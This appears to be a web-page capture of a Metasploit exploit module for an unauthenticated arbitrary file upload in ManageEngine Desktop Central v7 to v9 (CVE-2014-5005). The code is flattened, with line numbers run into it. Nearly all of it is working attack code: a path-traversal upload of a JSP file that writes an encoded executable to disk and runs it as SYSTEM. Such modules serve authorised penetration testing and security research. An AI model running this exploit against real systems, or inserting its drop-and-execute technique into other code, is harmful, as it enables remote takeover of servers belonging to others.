Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/http/desktopcentral_statusupdate_upload.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::EXE10include Msf::Exploit::FileDropper1112def initialize(info = {})13super(update_info(info,14'Name' => 'ManageEngine Desktop Central StatusUpdate Arbitrary File Upload',15'Description' => %q{16This module exploits an arbitrary file upload vulnerability in ManageEngine DesktopCentral17v7 to v9 build 90054 (including the MSP versions).18A malicious user can upload a JSP file into the web root without authentication, leading to19arbitrary code execution as SYSTEM. Some early builds of version 7 are not exploitable as20they do not ship with a bundled Java compiler.21},22'Author' =>23[24'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module25],26'License' => MSF_LICENSE,27'References' =>28[29['CVE', '2014-5005'],30['OSVDB', '110643'],31['URL', 'https://seclists.org/fulldisclosure/2014/Aug/88']32],33'Platform' => 'win',34'Arch' => ARCH_X86,35'Targets' =>36[37[ 'Desktop Central v7 to v9 build 90054 / Windows', {} ]38],39'Privileged' => true,40'DefaultTarget' => 0,41'DisclosureDate' => '2014-08-31'42))4344register_options([Opt::RPORT(8020)])45end464748# Test for Desktop Central49def check50res = send_request_cgi({51'uri' => normalize_uri("configurations.do"),52'method' => 'GET'53})5455if res && res.code == 20056build = nil5758if res.body.to_s =~ /ManageEngine Desktop Central 7/ ||59res.body.to_s =~ /ManageEngine Desktop Central MSP 7/ # DC v76061print_status("Detected Desktop Central v7")62elsif res.body.to_s =~ /ManageEngine Desktop Central 8/ ||63res.body.to_s =~ /ManageEngine Desktop Central MSP 8/6465if res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v8 (later versions)66build = $167print_status("Detected Desktop Central v8 #{build}")68else # DC v8 (earlier versions)69print_status("Detected Desktop Central v8")70end71elsif res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v9 (and higher?)72build = $173end7475if build.nil?76return Exploit::CheckCode::Unknown77elsif Rex::Version.new(build) < Rex::Version.new("90055")78return Exploit::CheckCode::Appears79else80return Exploit::CheckCode::Safe81end82end8384Exploit::CheckCode::Unknown85end8687def exploit88print_status("Uploading JSP to execute the payload")8990exe = payload.encoded_exe91exe_filename = rand_text_alpha_lower(8) + ".exe"9293jsp_payload = jsp_drop_and_execute(exe, exe_filename)94jsp_name = rand_text_alpha_lower(8) + ".jsp"9596send_request_cgi({97'uri' => normalize_uri('statusUpdate'),98'method' => 'POST',99'data' => jsp_payload,100'ctype' => 'text/html',101'vars_get' => {102'actionToCall' => 'LFU',103'configDataID' => '1',104'customerId' => rand_text_numeric(4),105'fileName' => '../' * 6 << jsp_name106}107})108# We could check for HTTP 200 and a "success" string.109# However only some later v8 and v9 versions return this; and we don't really care110# and do a GET to the file we just uploaded anyway.111112register_files_for_cleanup(exe_filename)113register_files_for_cleanup("..\\webapps\\DesktopCentral\\#{jsp_name}")114115print_status("Executing payload")116send_request_cgi(117{118'uri' => normalize_uri(jsp_name),119'method' => 'GET'120})121end122123124def jsp_drop_bin(bin_data, output_file)125jspraw = %Q|<%@ page import="java.io.*" %>\n|126jspraw << %Q|<%\n|127jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|128129jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|130131jspraw << %Q|int numbytes = data.length();\n|132133jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|134jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|135jspraw << %Q|{\n|136jspraw << %Q| char char1 = (char) data.charAt(counter);\n|137jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n|138jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n|139jspraw << %Q| comb <<= 4;\n|140jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n|141jspraw << %Q| bytes[counter/2] = (byte)comb;\n|142jspraw << %Q|}\n|143144jspraw << %Q|outputstream.write(bytes);\n|145jspraw << %Q|outputstream.close();\n|146jspraw << %Q|%>\n|147148jspraw149end150151152def jsp_execute_command(command)153jspraw = %Q|\n|154jspraw << %Q|<%\n|155jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|156jspraw << %Q|%>\n|157158jspraw159end160161162def jsp_drop_and_execute(bin_data, output_file)163jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file)164end165end166167168